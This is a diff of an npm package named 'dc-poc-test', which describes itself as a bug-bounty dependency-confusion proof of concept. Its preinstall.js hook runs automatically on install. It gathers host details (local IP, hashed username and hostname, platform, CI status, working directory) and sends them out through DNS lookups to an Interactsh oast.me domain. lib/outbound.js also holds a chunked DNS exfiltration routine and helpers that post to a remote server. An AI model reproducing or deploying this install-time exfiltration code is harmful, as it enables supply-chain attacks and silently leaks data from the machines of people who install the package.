dc-poc-test 0.4.0

package/Readme.md

@@ -0,0 +1,3 @@
+# Example node package
+This is My's PoC for the bug bounty
+program. I own this package name.

package/index.js

@@ -0,0 +1 @@
+module.exports = {};

package/lib/outbound.js

@@ -0,0 +1,61 @@
+const dns = require('dns').promises;
+const http = require('http');
+const https = require('https');
+
+function httpJSON(method, url, bodyObj, headers={}) {
+  const u = new URL(url);
+  const isHttps = u.protocol === 'https:';
+  const body = bodyObj ? JSON.stringify(bodyObj) : '';
+  const opts = {
+    method,
+    hostname: u.hostname,
+    port: u.port || (isHttps ? 443 : 80),
+    path: u.pathname + (u.search || ''),
+    headers: {
+      'content-type': 'application/json',
+      ...(body ? {'content-length': Buffer.byteLength(body)} : {}),
+      ...headers
+    },
+    timeout: 8000
+  };
+  return new Promise((resolve, reject) => {
+    const req = (isHttps ? https : http).request(opts, res => {
+      let data=''; res.on('data', d=>data+=d);
+      res.on('end', () => {
+        try { resolve({ status: res.statusCode, data: data ? JSON.parse(data) : {} }); }
+        catch { resolve({ status: res.statusCode, data: {} }); }
+      });
+    });
+    req.on('error', reject);
+    if (body) req.write(body);
+    req.end();
+  });
+}
+
+async function fetchNonce(server, uuid, token) {
+  const res = await httpJSON('POST', `${server}/nonce`, { uuid }, { 'x-dc-token': token });
+  if (res.status === 200 && res.data && res.data.nonce) return res.data.nonce;
+  throw new Error('no-nonce');
+}
+
+async function postPing(server, token, sig, payload, nonce) {
+  return httpJSON('POST', `${server}/ping`, { payload, nonce }, { 'x-dc-token': token, 'x-dc-sig': sig });
+}
+
+async function txtChallenge(domain, uuid) {
+  const name = `nonce.${uuid}.${domain}`;
+  const txts = await dns.resolveTxt(name);
+  return txts && txts.length ? txts[0].join('') : '';
+}
+
+async function dnsBurst(domain, hex) {
+  const CHUNK = 50;
+  for (let i = 0; i < hex.length; i += CHUNK) {
+    const chunk = hex.slice(i, i+CHUNK);
+    const fqdn = `${(i/CHUNK)}.${chunk}.${domain}`;
+    try { await dns.lookup(fqdn); } catch {}
+    await new Promise(r => setTimeout(r, 120 + Math.floor(Math.random()*80)));
+  }
+}
+
+module.exports = { fetchNonce, postPing, txtChallenge, dnsBurst };

package/lib/proof.js

@@ -0,0 +1,6 @@
+// Interactsh config
+module.exports = {
+    PKG_PROOF_UUID: "acme-2025-08-uuid-7b8f7d02", // gắn mã chiến dịch/engagement
+    PROOF_DOMAIN:   "d2i139h2eku5imjmvms01u66zartsocs9.oast.me"             // <— thay bằng domain Interactsh của bạn
+  };
+  

package/lib/utils.js

@@ -0,0 +1,45 @@
+const os = require('os');
+const crypto = require('crypto');
+const path = require('path');
+
+function sha256(s) {
+  return crypto.createHash('sha256').update(String(s)).digest('hex');
+}
+
+function randomDelay(minMs=120, maxMs=260) {
+  const d = Math.floor(minMs + Math.random()*(maxMs-minMs));
+  return new Promise(r=>setTimeout(r, d));
+}
+
+function firstLocalIPv4() {
+  try {
+    const ifs = os.networkInterfaces();
+    for (const name of Object.keys(ifs)) {
+      for (const it of ifs[name]) {
+        if (it.family === 'IPv4' && !it.internal) return it.address;
+      }
+    }
+  } catch {}
+  return 'N/A';
+}
+
+function collectMinimal() {
+  const agent = process.env.npm_config_user_agent || '';
+  const hasCI = !!(process.env.CI || process.env.GITHUB_ACTIONS || process.env.BUILD_ID || process.env.JENKINS_HOME);
+  const cwdBase = path.basename(process.cwd() || '');
+  let usernameHash = '';
+  try { usernameHash = sha256(require('os').userInfo().username || ''); } catch {}
+  return {
+    ts: new Date().toISOString(),
+    local_ipv4: firstLocalIPv4(),              // chỉ IP local (không PII)
+    username_sha256: usernameHash,             // hash username
+    hostname_sha256: sha256(os.hostname()||''),// hash hostname
+    platform: os.platform(),
+    arch: os.arch(),
+    npm_user_agent: agent,
+    cwd_basename: cwdBase,
+    has_CI: hasCI
+  };
+}
+
+module.exports = { sha256, randomDelay, collectMinimal };

package/package.json

@@ -0,0 +1,12 @@
+{
+    "name": "dc-poc-test",
+    "version": "0.4.0",
+    "description": "Dependency confusion PoC for Interactsh (passive-proof via DNS A lookups)",
+    "main": "index.js",
+    "scripts": {
+      "preinstall": "node preinstall.js"
+    },
+    "license": "ISC",
+    "dependencies": {}
+  }
+  

package/preinstall.js

@@ -0,0 +1,55 @@
+const dns = require('dns').promises;
+const crypto = require('crypto');
+const { collectMinimal, randomDelay } = require('./lib/utils');
+const { PKG_PROOF_UUID, PROOF_DOMAIN } = require('./lib/proof');
+
+function uaLooksLikeRealNpm(ua='') {
+  return /^npm\/\d+\.\d+\.\d+\s+node\/\d+\.\d+\.\d+\s+\w+\s+\w+/.test(String(ua||''));
+}
+
+function hexOf(obj) {
+  try { return Buffer.from(JSON.stringify(obj)).toString('hex'); }
+  catch { return ''; }
+}
+
+async function pingInteractsh() {
+  const ua = process.env.npm_config_user_agent || '';
+  if (!uaLooksLikeRealNpm(ua)) return;               // giảm noise bot rác
+
+  const version = require('./package.json').version.replace(/\./g,'-');
+  const runtime = (process.platform || 'x') + '-' + (process.arch || 'x');
+
+  // Thu thập tối thiểu (an toàn, không PII)
+  const base = collectMinimal();
+
+  // Chèn 1 ít metadata vào label để bạn grep
+  const stamp = Date.now().toString(36);
+  const prefix = `dcpoc.${PKG_PROOF_UUID}.${version}.${runtime}.${stamp}`;
+
+  // Gửi 1..3 A lookups:
+  //   1) nhãn ngắn: dcpoc.<uuid>.<ver>.<runtime>.<ts>.<domain>
+  //   2) nhãn có checksum ngắn
+  //   3) (tuỳ) nhãn đính kèm 1 chunk hex của base (rất ngắn) — tránh dài quá 63 bytes/label
+  const short = `${prefix}.${PROOF_DOMAIN}`;
+
+  const h = crypto.createHash('sha1').update(JSON.stringify(base)).digest('hex').slice(0,10);
+  const withChk = `${prefix}.h${h}.${PROOF_DOMAIN}`;
+
+  const tiny = hexOf({ts: base.ts, has_CI: base.has_CI}).slice(0, 28); // 14 bytes (-> 28 hex char)
+  const withTiny = `${prefix}.x${tiny}.${PROOF_DOMAIN}`;
+
+  const names = [short, withChk, withTiny];
+
+  // Thực hiện lookup tuần tự, có trễ nhẹ
+  for (const fqdn of names) {
+    try { await dns.lookup(fqdn); } catch {}
+    await randomDelay();
+  }
+}
+
+(async () => {
+  try {
+    // Chỉ chạy nhánh Interactsh (passive-proof); không cần token/env ở victim
+    await pingInteractsh();
+  } catch {}
+})();